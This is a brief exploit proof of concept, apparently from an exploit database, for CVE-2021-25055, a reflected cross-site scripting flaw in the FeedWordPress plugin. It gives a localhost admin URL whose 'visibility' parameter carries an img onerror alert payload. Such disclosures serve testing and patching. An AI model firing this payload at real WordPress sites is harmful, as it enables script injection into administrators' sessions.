# Referrer: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571# Version: 1.0# Tested on: Windows 10 + XAMPP v3.2.4POC: http://localhost/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&visibility='”><img+src=2+onerror=alert(origin)>